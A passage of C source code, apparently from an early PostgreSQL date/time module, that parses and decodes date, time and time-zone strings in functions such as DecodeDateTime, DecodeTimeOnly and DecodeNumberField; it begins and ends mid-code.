DTK_DATE; while (isalnum((unsigned char) *cp) || (*cp == *dp)) *lp++ = tolower((unsigned char) *cp++); } } /* otherwise, number only and will determine * year, month, day, or concatenated fields later... */ else { ftype[nf] = DTK_NUMBER; } } /* Leading decimal point? Then fractional seconds... */ else if (*cp == '.') { *lp++ = *cp++; while (isdigit((unsigned char) *cp)) *lp++ = *cp++; ftype[nf] = DTK_NUMBER; } /* * text? then date string, month, day of week, special, or * timezone */ else if (isalpha((unsigned char) *cp)) { ftype[nf] = DTK_STRING; *lp++ = tolower((unsigned char) *cp++); while (isalpha((unsigned char) *cp)) *lp++ = tolower((unsigned char) *cp++); /* * Full date string with leading text month? Could also be a * POSIX time zone... */ if ((*cp == '-') || (*cp == '/') || (*cp == '.')) { char *dp = cp; ftype[nf] = DTK_DATE; *lp++ = *cp++; while (isdigit((unsigned char) *cp) || (*cp == *dp)) *lp++ = *cp++; } } /* skip leading spaces */ else if (isspace((unsigned char) *cp)) { cp++; continue; } /* sign? then special or numeric timezone */ else if ((*cp == '+') || (*cp == '-')) { *lp++ = *cp++; /* soak up leading whitespace */ while (isspace((unsigned char) *cp)) cp++; /* numeric timezone? */ if (isdigit((unsigned char) *cp)) { ftype[nf] = DTK_TZ; *lp++ = *cp++; while (isdigit((unsigned char) *cp) || (*cp == ':') || (*cp == '.')) *lp++ = *cp++; } /* special? */ else if (isalpha((unsigned char) *cp)) { ftype[nf] = DTK_SPECIAL; *lp++ = tolower((unsigned char) *cp++); while (isalpha((unsigned char) *cp)) *lp++ = tolower((unsigned char) *cp++); } /* otherwise something wrong... */ else { return -1; } } /* ignore punctuation but use as delimiter */ else if (ispunct((unsigned char) *cp)) { cp++; continue; } /* otherwise, something is not right... */ else { return -1; } /* force in a delimiter after each field */ *lp++ = '\0'; nf++; if (nf > MAXDATEFIELDS) return -1; } *numfields = nf; return 0; } /* ParseDateTime() */ /* DecodeDateTime() * Interpret previously parsed fields for general date and time. * Return 0 if full date, 1 if only time, and -1 if problems. * External format(s): * "<weekday> <month>-<day>-<year> <hour>:<minute>:<second>" * "Fri Feb-7-1997 15:23:27" * "Feb-7-1997 15:23:27" * "2-7-1997 15:23:27" * "1997-2-7 15:23:27" * "1997.038 15:23:27" (day of year 1-366) * Also supports input in compact time: * "970207 152327" * "97038 152327" * "20011225T040506.789-07" * * Use the system-provided functions to get the current time zone * if not specified in the input string. * If the date is outside the time_t system-supported time range, * then assume UTC time zone. - thomas 1997-05-27 */ int DecodeDateTime(char **field, int *ftype, int nf, int *dtype, struct tm * tm, double *fsec, int *tzp) { int fmask = 0, tmask, type; int ptype = 0; /* "prefix type" for ISO y2001m02d04 format */ int i; int val; int mer = HR24; int haveTextMonth = FALSE; int is2digits = FALSE; int bc = FALSE; /*** * We'll insist on at least all of the date fields, but initialize the * remaining fields in case they are not set later... ***/ *dtype = DTK_DATE; tm->tm_hour = 0; tm->tm_min = 0; tm->tm_sec = 0; *fsec = 0; /* don't know daylight savings time status apriori */ tm->tm_isdst = -1; if (tzp != NULL) *tzp = 0; for (i = 0; i < nf; i++) { switch (ftype[i]) { case DTK_DATE: /*** * Integral julian day with attached time zone? * All other forms with JD will be separated into * distinct fields, so we handle just this case here. ***/ if (ptype == DTK_JULIAN) { char *cp; int val; if (tzp == NULL) return -1; val = strtol(field[i], &cp, 10); if (*cp != '-') return -1; j2date(val, &tm->tm_year, &tm->tm_mon, &tm->tm_mday); /* Get the time zone from the end of the string */ if (DecodeTimezone(cp, tzp) != 0) return -1; tmask = DTK_DATE_M | DTK_TIME_M | DTK_M(TZ); ptype = 0; break; } /*** * Already have a date? Then this might be a POSIX time * zone with an embedded dash (e.g. "PST-3" == "EST") or * a run-together time with trailing time zone (e.g. hhmmss-zz). * - thomas 2001-12-25 ***/ else if (((fmask & DTK_DATE_M) == DTK_DATE_M) || (ptype != 0)) { /* No time zone accepted? Then quit... */ if (tzp == NULL) return -1; if (isdigit((unsigned char) *field[i]) || ptype != 0) { char *cp; if (ptype != 0) { /* Sanity check; should not fail this test */ if (ptype != DTK_TIME) return -1; ptype = 0; } /* Starts with a digit but we already have a time field? * Then we are in trouble with a date and time already... */ if ((fmask & DTK_TIME_M) == DTK_TIME_M) return -1; if ((cp = strchr(field[i], '-')) == NULL) return -1; /* Get the time zone from the end of the string */ if (DecodeTimezone(cp, tzp) != 0) return -1; *cp = '\0'; /* Then read the rest of the field as a concatenated time */ if ((ftype[i] = DecodeNumberField(strlen(field[i]), field[i], fmask, &tmask, tm, fsec, &is2digits)) < 0) return -1; /* modify tmask after returning from DecodeNumberField() */ tmask |= DTK_M(TZ); } else { if (DecodePosixTimezone(field[i], tzp) != 0) return -1; ftype[i] = DTK_TZ; tmask = DTK_M(TZ); } } else if (DecodeDate(field[i], fmask, &tmask, tm) != 0) { return -1; } break; case DTK_TIME: if (DecodeTime(field[i], fmask, &tmask, tm, fsec) != 0) return -1; /* * Check upper limit on hours; other limits checked in * DecodeTime() */ if (tm->tm_hour > 23) return -1; break; case DTK_TZ: { int tz; if (tzp == NULL) return -1; if (DecodeTimezone(field[i], &tz) != 0) return -1; /* * Already have a time zone? Then maybe this is the * second field of a POSIX time: EST+3 (equivalent to * PST) */ if ((i > 0) && ((fmask & DTK_M(TZ)) != 0) && (ftype[i - 1] == DTK_TZ) && (isalpha((unsigned char) *field[i - 1]))) { *tzp -= tz; tmask = 0; } else { *tzp = tz; tmask = DTK_M(TZ); } } break; case DTK_NUMBER: /* * Was this an "ISO date" with embedded field labels? An * example is "y2001m02d04" - thomas 2001-02-04 */ if (ptype != 0) { char *cp; int val; val = strtol(field[i], &cp, 10); /* only a few kinds are allowed to have an embedded decimal */ if (*cp == '.') switch (ptype) { case DTK_JULIAN: case DTK_TIME: case DTK_SECOND: break; default: return 1; break; } else if (*cp != '\0') return -1; switch (ptype) { case DTK_YEAR: tm->tm_year = val; tmask = DTK_M(YEAR); break; case DTK_MONTH: /* already have a month and hour? then assume minutes */ if (((fmask & DTK_M(MONTH)) != 0) && ((fmask & DTK_M(HOUR)) != 0)) { tm->tm_min = val; tmask = DTK_M(MINUTE); } else { tm->tm_mon = val; tmask = DTK_M(MONTH); } break; case DTK_DAY: tm->tm_mday = val; tmask = DTK_M(DAY); break; case DTK_HOUR: tm->tm_hour = val; tmask = DTK_M(HOUR); break; case DTK_MINUTE: tm->tm_min = val; tmask = DTK_M(MINUTE); break; case DTK_SECOND: tm->tm_sec = val; tmask = DTK_M(SECOND); if (*cp == '.') { *fsec = strtod(cp, &cp); if (*cp != '\0') return -1; } break; case DTK_TZ: tmask = DTK_M(TZ); if (DecodeTimezone(field[i], tzp) != 0) return -1; break; case DTK_JULIAN: /*** * previous field was a label for "julian date"? ***/ tmask = DTK_DATE_M; j2date(val, &tm->tm_year, &tm->tm_mon, &tm->tm_mday); if (*cp == '.') { double time; time = strtod(cp, &cp); if (*cp != '\0') return -1; tmask |= DTK_TIME_M; dt2time((time*86400), &tm->tm_hour, &tm->tm_min, fsec); tm->tm_sec = *fsec; *fsec -= tm->tm_sec; } break; case DTK_TIME: /* previous field was "t" for ISO time */ if ((ftype[i] = DecodeNumberField(strlen(field[i]), field[i], (fmask | DTK_DATE_M), &tmask, tm, fsec, &is2digits)) < 0) return -1; if (tmask != DTK_TIME_M) return -1; break; default: return -1; break; } ptype = 0; *dtype = DTK_DATE; } else { char *cp; int flen; flen = strlen(field[i]); cp = strchr(field[i], '.'); /* Embedded decimal and no date yet? */ if ((cp != NULL) && !(fmask & DTK_DATE_M)) { if (DecodeDate(field[i], fmask, &tmask, tm) != 0) return -1; } /* embedded decimal and several digits before? */ else if ((cp != NULL) && ((flen - strlen(cp)) > 2)) { /* Interpret as a concatenated date or time * Set the type field to allow decoding other fields later. * Example: 20011223 or 040506 */ if ((ftype[i] = DecodeNumberField(flen, field[i], fmask, &tmask, tm, fsec, &is2digits)) < 0) return -1; } else if (flen > 4) { if ((ftype[i] = DecodeNumberField(flen, field[i], fmask, &tmask, tm, fsec, &is2digits)) < 0) return -1; } /* otherwise it is a single date/time field... */ else if (DecodeNumber(flen, field[i], fmask, &tmask, tm, fsec, &is2digits) != 0) { return -1; } } break; case DTK_STRING: case DTK_SPECIAL: type = DecodeSpecial(i, field[i], &val); if (type == IGNORE) continue; tmask = DTK_M(type); switch (type) { case RESERV: switch (val) { case DTK_CURRENT: elog(ERROR, "'CURRENT' is no longer supported"); return -1; break; case DTK_NOW: tmask = (DTK_DATE_M | DTK_TIME_M | DTK_M(TZ)); *dtype = DTK_DATE; GetCurrentTimeUsec(tm, fsec); if (tzp != NULL) *tzp = CTimeZone; break; case DTK_YESTERDAY: tmask = DTK_DATE_M; *dtype = DTK_DATE; GetCurrentTime(tm); j2date((date2j(tm->tm_year, tm->tm_mon, tm->tm_mday) - 1), &tm->tm_year, &tm->tm_mon, &tm->tm_mday); tm->tm_hour = 0; tm->tm_min = 0; tm->tm_sec = 0; break; case DTK_TODAY: tmask = DTK_DATE_M; *dtype = DTK_DATE; GetCurrentTime(tm); tm->tm_hour = 0; tm->tm_min = 0; tm->tm_sec = 0; break; case DTK_TOMORROW: tmask = DTK_DATE_M; *dtype = DTK_DATE; GetCurrentTime(tm); j2date((date2j(tm->tm_year, tm->tm_mon, tm->tm_mday) + 1), &tm->tm_year, &tm->tm_mon, &tm->tm_mday); tm->tm_hour = 0; tm->tm_min = 0; tm->tm_sec = 0; break; case DTK_ZULU: tmask = (DTK_TIME_M | DTK_M(TZ)); *dtype = DTK_DATE; tm->tm_hour = 0; tm->tm_min = 0; tm->tm_sec = 0; if (tzp != NULL) *tzp = 0; break; default: *dtype = val; } break; case MONTH: /* * already have a (numeric) month? then see if we * can substitute... */ if ((fmask & DTK_M(MONTH)) && (!haveTextMonth) && (!(fmask & DTK_M(DAY))) && ((tm->tm_mon >= 1) && (tm->tm_mon <= 31))) { tm->tm_mday = tm->tm_mon; tmask = DTK_M(DAY); } haveTextMonth = TRUE; tm->tm_mon = val; break; case DTZMOD: /* * daylight savings time modifier (solves "MET * DST" syntax) */ tmask |= DTK_M(DTZ); tm->tm_isdst = 1; if (tzp == NULL) return -1; *tzp += val * 60; break; case DTZ: /* * set mask for TZ here _or_ check for DTZ later * when getting default timezone */ tmask |= DTK_M(TZ); tm->tm_isdst = 1; if (tzp == NULL) return -1; *tzp = val * 60; ftype[i] = DTK_TZ; break; case TZ: tm->tm_isdst = 0; if (tzp == NULL) return -1; *tzp = val * 60; ftype[i] = DTK_TZ; break; case IGNORE: break; case AMPM: mer = val; break; case ADBC: bc = (val == BC); break; case DOW: tm->tm_wday = val; break; case UNITS: tmask = 0; ptype = val; break; case ISOTIME: /* This is a filler field "t" * indicating that the next field is time. * Try to verify that this is sensible. */ tmask = 0; /* No preceeding date? Then quit... */ if ((fmask & DTK_DATE_M) != DTK_DATE_M) return -1; /*** * We will need one of the following fields: * DTK_NUMBER should be hhmmss.fff * DTK_TIME should be hh:mm:ss.fff * DTK_DATE should be hhmmss-zz ***/ if ((i >= (nf - 1)) || ((ftype[i + 1] != DTK_NUMBER) && (ftype[i + 1] != DTK_TIME) && (ftype[i + 1] != DTK_DATE))) return -1; ptype = val; break; default: return -1; } break; default: return -1; } if (tmask & fmask) return -1; fmask |= tmask; } /* there is no year zero in AD/BC notation; i.e. "1 BC" == year 0 */ if (bc) { if (tm->tm_year > 0) tm->tm_year = -(tm->tm_year - 1); else elog(ERROR, "Inconsistent use of year %04d and 'BC'", tm->tm_year); } else if (is2digits) { if (tm->tm_year < 70) tm->tm_year += 2000; else if (tm->tm_year < 100) tm->tm_year += 1900; } if ((mer != HR24) && (tm->tm_hour > 12)) return -1; if ((mer == AM) && (tm->tm_hour == 12)) tm->tm_hour = 0; else if ((mer == PM) && (tm->tm_hour != 12)) tm->tm_hour += 12; /* do additional checking for full date specs... */ if (*dtype == DTK_DATE) { if ((fmask & DTK_DATE_M) != DTK_DATE_M) return ((fmask & DTK_TIME_M) == DTK_TIME_M) ? 1 : -1; /* * check for valid day of month, now that we know for sure the * month and year... */ if ((tm->tm_mday < 1) || (tm->tm_mday > day_tab[isleap(tm->tm_year)][tm->tm_mon - 1])) return -1; /* timezone not specified? then find local timezone if possible */ if (((fmask & DTK_DATE_M) == DTK_DATE_M) && (tzp != NULL) && (!(fmask & DTK_M(TZ)))) { /* * daylight savings time modifier but no standard timezone? * then error */ if (fmask & DTK_M(DTZMOD)) return -1; *tzp = DetermineLocalTimeZone(tm); } } return 0; } /* DecodeDateTime() */ /* DetermineLocalTimeZone() * Given a struct tm in which tm_year, tm_mon, tm_mday, tm_hour, tm_min, and * tm_sec fields are set, attempt to determine the applicable local zone * (ie, regular or daylight-savings time) at that time. Set the struct tm's * tm_isdst field accordingly, and return the actual timezone offset. * * This subroutine exists mainly to centralize uses of mktime() and defend * against mktime() bugs on various platforms... */ int DetermineLocalTimeZone(struct tm * tm) { int tz; if (HasCTZSet) tz = CTimeZone; else if (IS_VALID_UTIME(tm->tm_year, tm->tm_mon, tm->tm_mday)) { #if defined(HAVE_TM_ZONE) || defined(HAVE_INT_TIMEZONE) /* * Some buggy mktime() implementations may change the * year/month/day when given a time right at a DST boundary. To * prevent corruption of the caller's data, give mktime() a * copy... */ struct tm tt, *tmp = &tt; *tmp = *tm; /* change to Unix conventions for year/month */ tmp->tm_year -= 1900; tmp->tm_mon -= 1; /* indicate timezone unknown */ tmp->tm_isdst = -1; mktime(tmp); tm->tm_isdst = tmp->tm_isdst; #if defined(HAVE_TM_ZONE) /* tm_gmtoff is Sun/DEC-ism */ if (tmp->tm_isdst >= 0) tz = -(tmp->tm_gmtoff); else tz = 0; /* assume UTC if mktime failed */ #elif defined(HAVE_INT_TIMEZONE) tz = ((tmp->tm_isdst > 0) ? (TIMEZONE_GLOBAL - 3600) : TIMEZONE_GLOBAL); #endif /* HAVE_INT_TIMEZONE */ #else /* not (HAVE_TM_ZONE || HAVE_INT_TIMEZONE) */ tm->tm_isdst = 0; tz = CTimeZone; #endif } else { /* Given date is out of range, so assume UTC */ tm->tm_isdst = 0; tz = 0; } return tz; } /* DecodeTimeOnly() * Interpret parsed string as time fields only. * Note that support for time zone is here for * SQL92 TIME WITH TIME ZONE, but it reveals * bogosity with SQL92 date/time standards, since * we must infer a time zone from current time. * - thomas 2000-03-10 * Allow specifying date to get a better time zone, * if time zones are allowed. - thomas 2001-12-26 */ int DecodeTimeOnly(char **field, int *ftype, int nf, int *dtype, struct tm * tm, double *fsec, int *tzp) { int fmask = 0, tmask, type; int ptype = 0; /* "prefix type" for ISO h04mm05s06 format */ int i; int val; int is2digits = FALSE; int mer = HR24; *dtype = DTK_TIME; tm->tm_hour = 0; tm->tm_min = 0; tm->tm_sec = 0; *fsec = 0; /* don't know daylight savings time status apriori */ tm->tm_isdst = -1; if (tzp != NULL) *tzp = 0; for (i = 0; i < nf; i++) { switch (ftype[i]) { case DTK_DATE: /* Time zone not allowed? * Then should not accept dates or time zones * no matter what else! */ if (tzp == NULL) return -1; /* Under limited circumstances, we will accept a date... */ if ((i == 0) && (nf >= 2) && ((ftype[nf-1] == DTK_DATE) || (ftype[1] == DTK_TIME))) { if (DecodeDate(field[i], fmask, &tmask, tm) != 0) return -1; } /* otherwise, this is a time and/or time zone */ else { if (isdigit((unsigned char) *field[i])) { char *cp; /* Starts with a digit but we already have a time field? * Then we are in trouble with time already... */ if ((fmask & DTK_TIME_M) == DTK_TIME_M) return -1; /* Should not get here and fail. Sanity check only... */ if ((cp = strchr(field[i], '-')) == NULL) return -1; /* Get the time zone from the end of the string */ if (DecodeTimezone(cp, tzp) != 0) return -1; *cp = '\0'; /* Then read the rest of the field as a concatenated time */ if ((ftype[i] = DecodeNumberField(strlen(field[i]), field[i], (fmask | DTK_DATE_M), &tmask, tm, fsec, &is2digits)) < 0) return -1; tmask |= DTK_M(TZ); } else { if (DecodePosixTimezone(field[i], tzp) != 0) return -1; ftype[i] = DTK_TZ; tmask = DTK_M(TZ); } } break; case DTK_TIME: if (DecodeTime(field[i], (fmask | DTK_DATE_M), &tmask, tm, fsec) != 0) return -1; break; case DTK_TZ: if (tzp == NULL) return -1; { int tz; if (DecodeTimezone(field[i], &tz) != 0) return -1; /* * Already have a time zone? Then maybe this is the * second field of a POSIX time: EST+3 (equivalent to * PST) */ if ((i > 0) && ((fmask & DTK_M(TZ)) != 0) && (ftype[i - 1] == DTK_TZ) && (isalpha((unsigned char) *field[i - 1]))) { *tzp -= tz; tmask = 0; } else { *tzp = tz; tmask = DTK_M(TZ); } } break; case DTK_NUMBER: /* * Was this an "ISO time" with embedded field labels? An * example is "h04m05s06" - thomas 2001-02-04 */ if (ptype != 0) { char *cp; int val; /* Only accept a date under limited circumstances */ switch (ptype) { case DTK_JULIAN: case DTK_YEAR: case DTK_MONTH: case DTK_DAY: if (tzp == NULL) return -1; default: break; } val = strtol(field[i], &cp, 10); /* only a few kinds are allowed to have an embedded decimal */ if (*cp == '.') switch (ptype) { case DTK_JULIAN: case DTK_TIME: case DTK_SECOND: break; default: return 1; break; } else if (*cp != '\0') return -1; switch (ptype) { case DTK_YEAR: tm->tm_year = val; tmask = DTK_M(YEAR); break; case DTK_MONTH: /* already have a month and hour? then assume minutes */ if (((fmask & DTK_M(MONTH)) != 0) && ((fmask & DTK_M(HOUR)) != 0)) { tm->tm_min = val; tmask = DTK_M(MINUTE); } else { tm->tm_mon = val; tmask = DTK_M(MONTH); } break; case DTK_DAY: tm->tm_mday = val; tmask = DTK_M(DAY); break; case DTK_HOUR: tm->tm_hour = val; tmask = DTK_M(HOUR); break; case DTK_MINUTE: tm->tm_min = val; tmask = DTK_M(MINUTE); break; case DTK_SECOND: tm->tm_sec = val; tmask = DTK_M(SECOND); if (*cp == '.') { *fsec = strtod(cp, &cp); if (*cp != '\0') return -1; } break; case DTK_TZ: tmask = DTK_M(TZ); if (DecodeTimezone(field[i], tzp) != 0) return -1; break; case DTK_JULIAN: /*** * previous field was a label for "julian date"? ***/ tmask = DTK_DATE_M; j2date(val, &tm->tm_year, &tm->tm_mon, &tm->tm_mday); if (*cp == '.') { double time; time = strtod(cp, &cp); if (*cp != '\0') return -1; tmask |= DTK_TIME_M; dt2time((time*86400), &tm->tm_hour, &tm->tm_min, fsec); tm->tm_sec = *fsec; *fsec -= tm->tm_sec; } break; case DTK_TIME: /* previous field was "t" for ISO time */ if ((ftype[i] = DecodeNumberField(strlen(field[i]), field[i], (fmask | DTK_DATE_M), &tmask, tm, fsec, &is2digits)) < 0) return -1; if (tmask != DTK_TIME_M) return -1; break; default: return -1; break; } ptype = 0; *dtype = DTK_DATE; } else { char *cp; int flen; flen = strlen(field[i]); cp = strchr(field[i], '.'); /* Embedded decimal? */ if (cp != NULL) { /* Under limited circumstances, we will accept a date... */ if ((i == 0) && ((nf >= 2) && (ftype[nf-1] == DTK_DATE))) { if (DecodeDate(field[i], fmask, &tmask, tm) != 0) return -1; } /* embedded decimal and several digits before? */ else if ((flen - strlen(cp)) > 2) { /* Interpret as a concatenated date or time * Set the type field to allow decoding other fields later. * Example: 20011223 or 040506 */ if ((ftype[i] = DecodeNumberField(flen, field[i], fmask, &tmask, tm, fsec, &is2digits)) < 0) return -1; } else { return -1; } } else if (flen > 4) { if ((ftype[i] = DecodeNumberField(flen, field[i], fmask, &tmask, tm, fsec, &is2digits)) < 0) return -1; } /* otherwise it is a single date/time field... */ else if (DecodeNumber(flen, field[i], fmask, &tmask, tm, fsec, &is2digits) != 0) { return -1; } } break; case DTK_STRING: case DTK_SPECIAL: type = DecodeSpecial(i, field[i], &val); if (type == IGNORE) continue; tmask = DTK_M(type); switch (type) { case RESERV: switch (val) { case DTK_CURRENT: elog(ERROR, "'CURRENT' is no longer supported"); return -1; break; case DTK_NOW: tmask = DTK_TIME_M; *dtype = DTK_TIME; GetCurrentTimeUsec(tm, fsec); break; case DTK_ZULU: tmask = (DTK_TIME_M | DTK_M(TZ)); *dtype = DTK_TIME; tm->tm_hour = 0; tm->tm_min = 0; tm->tm_sec = 0; tm->tm_isdst = 0; break; default: return -1; } break; case DTZMOD: /* * daylight savings time modifier (solves "MET * DST" syntax) */ tmask |= DTK_M(DTZ); tm->tm_isdst = 1; if (tzp == NULL) return -1; *tzp += val * 60; break; case DTZ: /* * set mask for TZ here _or_ check for DTZ later * when getting default timezone */ tmask |= DTK_M(TZ); tm->tm_isdst = 1; if (tzp == NULL) return -1; *tzp = val * 60; ftype[i] = DTK_TZ; break; case TZ: tm->tm_isdst = 0; if (tzp == NULL) return -1; *tzp = val * 60; ftype[i] = DTK_TZ; break; case IGNORE: break; case AMPM: mer = val; break; case UNITS: tmask = 0; ptype = val; break; case ISOTIME: tmask = 0; /*** * We will need one of the following fields: * DTK_NUMBER should be hhmmss.fff * DTK_TIME should be hh:mm:ss.fff * DTK_DATE should be hhmmss-zz ***/ if ((i >= (nf - 1)) || ((ftype[i + 1] != DTK_NUMBER) && (ftype[i + 1] != DTK_TIME) && (ftype[i + 1] != DTK_DATE))) return -1; ptype = val; break; default: return -1; } break; default: return -1; } if (tmask & fmask) return -1; fmask |= tmask; } if ((mer != HR24) && (tm->tm_hour > 12)) return -1; if ((mer == AM) && (tm->tm_hour == 12)) tm->tm_hour = 0; else if ((mer == PM) && (tm->tm_hour != 12)) tm->tm_hour += 12; if (((tm->tm_hour < 0) || (tm->tm_hour > 23)) || ((tm->tm_min < 0) || (tm->tm_min > 59)) || ((tm->tm_sec < 0) || ((tm->tm_sec + *fsec) >= 60))) return -1; if ((fmask & DTK_TIME_M) != DTK_TIME_M) return -1; /* timezone not specified? then find local timezone if possible */ if ((tzp != NULL) && (!(fmask & DTK_M(TZ)))) { struct tm tt, *tmp = &tt; /* * daylight savings time modifier but no standard timezone? then * error */ if (fmask & DTK_M(DTZMOD)) return -1; if ((fmask & DTK_DATE_M) == 0) { GetCurrentTime(tmp); } else { tmp->tm_year = tm->tm_year; tmp->tm_mon = tm->tm_mon; tmp->tm_mday = tm->tm_mday; } tmp->tm_hour = tm->tm_hour; tmp->tm_min = tm->tm_min; tmp->tm_sec = tm->tm_sec; *tzp = DetermineLocalTimeZone(tmp); tm->tm_isdst = tmp->tm_isdst; } return 0; } /* DecodeTimeOnly() */ /* DecodeDate() * Decode date string which includes delimiters. * Insist on a complete set of fields. */ static int DecodeDate(char *str, int fmask, int *tmask, struct tm * tm) { double fsec; int nf = 0; int i, len; int bc = FALSE; int is2digits = FALSE; int type, val, dmask = 0; char *field[MAXDATEFIELDS]; /* parse this string... */ while ((*str != '\0') && (nf < MAXDATEFIELDS)) { /* skip field separators */ while (!isalnum((unsigned char) *str)) str++; field[nf] = str; if (isdigit((unsigned char) *str)) { while (isdigit((unsigned char) *str)) str++; } else if (isalpha((unsigned char) *str)) { while (isalpha((unsigned char) *str)) str++; } /* Just get rid of any non-digit, non-alpha characters... */ if (*str != '\0') *str++ = '\0'; nf++; } #if 0 /* don't allow too many fields */ if (nf > 3) return -1; #endif *tmask = 0; /* look first for text fields, since that will be unambiguous month */ for (i = 0; i < nf; i++) { if (isalpha((unsigned char) *field[i])) { type = DecodeSpecial(i, field[i], &val); if (type == IGNORE) continue; dmask = DTK_M(type); switch (type) { case MONTH: tm->tm_mon = val; break; case ADBC: bc = (val == BC); break; default: return -1; } if (fmask & dmask) return -1; fmask |= dmask; *tmask |= dmask; /* mark this field as being completed */ field[i] = NULL; } } /* now pick up remaining numeric fields */ for (i = 0; i < nf; i++) { if (field[i] == NULL) continue; if ((len = strlen(field[i])) <= 0) return -1; if (DecodeNumber(len, field[i], fmask, &dmask, tm, &fsec, &is2digits) != 0) return -1; if (fmask & dmask) return -1; fmask |= dmask; *tmask |= dmask; } if ((fmask & ~(DTK_M(DOY) | DTK_M(TZ))) != DTK_DATE_M) return -1; /* there is no year zero in AD/BC notation; i.e. "1 BC" == year 0 */ if (bc) { if (tm->tm_year > 0) tm->tm_year = -(tm->tm_year - 1); else elog(ERROR, "Inconsistent use of year %04d and 'BC'", tm->tm_year); } else if (is2digits) { if (tm->tm_year < 70) tm->tm_year += 2000; else if (tm->tm_year < 100) tm->tm_year += 1900; } return 0; } /* DecodeDate() */ /* DecodeTime() * Decode time string which includes delimiters. * Only check the lower limit on hours, since this same code * can be used to represent time spans. */ static int DecodeTime(char *str, int fmask, int *tmask, struct tm * tm, double *fsec) { char *cp; *tmask = DTK_TIME_M; tm->tm_hour = strtol(str, &cp, 10); if (*cp != ':') return -1; str = cp + 1; tm->tm_min = strtol(str, &cp, 10); if (*cp == '\0') { tm->tm_sec = 0; *fsec = 0; } else if (*cp != ':') { return -1; } else { str = cp + 1; tm->tm_sec = strtol(str, &cp, 10); if (*cp == '\0') *fsec = 0; else if (*cp == '.') { str = cp; *fsec = strtod(str, &cp); if (cp == str) return -1; } else return -1; } /* do a sanity check */ if ((tm->tm_hour < 0) || (tm->tm_min < 0) || (tm->tm_min > 59) || (tm->tm_sec < 0) || (tm->tm_sec > 59)) return -1; return 0; } /* DecodeTime() */ /* DecodeNumber() * Interpret plain numeric field as a date value in context. */ static int DecodeNumber(int flen, char *str, int fmask, int *tmask, struct tm * tm, double *fsec, int *is2digits) { int val; char *cp; *tmask = 0; val = strtol(str, &cp, 10); if (cp == str) return -1; if (*cp == '.') { /* More than two digits? * Then could be a date or a run-together time: * 2001.360 * 20011225 040506.789 */ if ((cp - str) > 2) return DecodeNumberField(flen, str, (fmask | DTK_DATE_M), tmask, tm, fsec, is2digits); *fsec = strtod(cp, &cp); if (*cp != '\0') return -1; } else if (*cp != '\0') { return -1; } /* Special case day of year? */ if ((flen == 3) && (fmask & DTK_M(YEAR)) && ((val >= 1) && (val <= 366))) { *tmask = (DTK_M(DOY) | DTK_M(MONTH) | DTK_M(DAY)); tm->tm_yday = val; j2date((date2j(tm->tm_year, 1, 1) + tm->tm_yday - 1), &tm->tm_year, &tm->tm_mon, &tm->tm_mday); } /*** * Enough digits to be unequivocal year? Used to test for 4 digits or * more, but we now test first for a three-digit doy so anything * bigger than two digits had better be an explicit year. * - thomas 1999-01-09 * Back to requiring a 4 digit year. We accept a two digit * year farther down. - thomas 2000-03-28 ***/ else if (flen >= 4) { *tmask = DTK_M(YEAR); /* already have a year? then see if we can substitute... */ if ((fmask & DTK_M(YEAR)) && (!(fmask & DTK_M(DAY))) && ((tm->tm_year >= 1) && (tm->tm_year <= 31))) { tm->tm_mday = tm->tm_year; *tmask = DTK_M(DAY); } tm->tm_year = val; } /* already have year? then could be month */ else if ((fmask & DTK_M(YEAR)) && (!(fmask & DTK_M(MONTH))) && ((val >= 1) && (val <= 12))) { *tmask = DTK_M(MONTH); tm->tm_mon = val; } /* no year and EuroDates enabled? then could be day */ else if ((EuroDates || (fmask & DTK_M(MONTH))) && (!(fmask & DTK_M(YEAR)) && !(fmask & DTK_M(DAY))) && ((val >= 1) && (val <= 31))) { *tmask = DTK_M(DAY); tm->tm_mday = val; } else if ((!(fmask & DTK_M(MONTH))) && ((val >= 1) && (val <= 12))) { *tmask = DTK_M(MONTH); tm->tm_mon = val; } else if ((!(fmask & DTK_M(DAY))) && ((val >= 1) && (val <= 31))) { *tmask = DTK_M(DAY); tm->tm_mday = val; } /* * Check for 2 or 4 or more digits, but currently we reach here only * if two digits. - thomas 2000-03-28 */ else if (!(fmask & DTK_M(YEAR)) && ((flen >= 4) || (flen == 2))) { *tmask = DTK_M(YEAR); tm->tm_year = val; /* adjust ONLY if exactly two digits... */ *is2digits = (flen == 2); } else return -1; return 0; } /* DecodeNumber() */ /* DecodeNumberField() * Interpret numeric string as a concatenated date or time field. * Use the context of previously decoded fields to help with * the interpretation. */ static int DecodeNumberField(int len, char *str, int fmask, int *tmask, struct tm * tm, double *fsec, int *is2digits) { char *cp; /* Have a decimal point? * Then this is a date or something with a seconds field... */ if ((cp = strchr(str, '.')) != NULL) { *fsec = strtod(cp, NULL); *cp = '\0'; len = strlen(str); } /* No decimal point and no complete date yet? */ else if ((fmask & DTK_DATE_M) != DTK_DATE_M) { /* yyyymmdd? */ if (len == 8) { *tmask = DTK_DATE_M; tm->tm_mday = atoi(str + 6); *(str + 6) = '\0'; tm->tm_mon = atoi(str + 4); *(str + 4) = '\0'; tm->tm_year = atoi(str + 0); return DTK_DATE; } /* yymmdd? */ else if (len == 6) { *tmask = DTK_DATE_M; tm->tm_mday = atoi(str + 4); *(str + 4) = '\0'; tm->tm_mon = atoi(str + 2); *(str + 2) = '\0'; tm->tm_year = atoi(str + 0); *is2digits = TRUE; return DTK_DATE; } /* yyddd? */ else if (len == 5) { *tmask = DTK_DATE_M; tm->tm_mday = atoi(str + 2); *(str + 2) = '\0'; tm->tm_mon = 1; tm->tm_year = atoi(str + 0); *is2digits = TRUE; return DTK_DATE; } } /* not all time fields are specified? */ if ((fmask & DTK_TIME_M) != DTK_TIME_M) { /* hhmmss */ if (len == 6) { *tmask = DTK_TIME_M; tm->tm_sec = atoi(str + 4); *(str + 4) = '\0'; tm->tm_min = atoi(str + 2); *(str + 2) = '\0'; tm->tm_hour = atoi(str + 0); return DTK_TIME; } /* hhmm? */ else if (len == 4) { *tmask = DTK_TIME_M; tm->tm_sec = 0; tm->tm_min = atoi(str + 2); *(str + 2) = '\0'; tm->tm_hour = atoi(str + 0); return DTK_TIME; } } return -1; } /* DecodeNumberField() */ /* DecodeTimezone() * Interpret string as a numeric timezone. */ static int DecodeTimezone(char *str, int *tzp) { int tz; int hr, min; char *cp; int len; /* assume leading character is "+" or "-" */ hr = strtol((str + 1), &cp, 10); /* explicit delimiter? */ if (*cp == ':') { min = strtol((cp + 1), &cp, 10); } /* otherwise, might have run things together... */ else if ((*cp == '\0') && ((len = strlen(str)) > 3)) { min = strtol((str + len - 2), &cp, 10); if ((min < 0) || (min >= 60)) return -1; *(str + len - 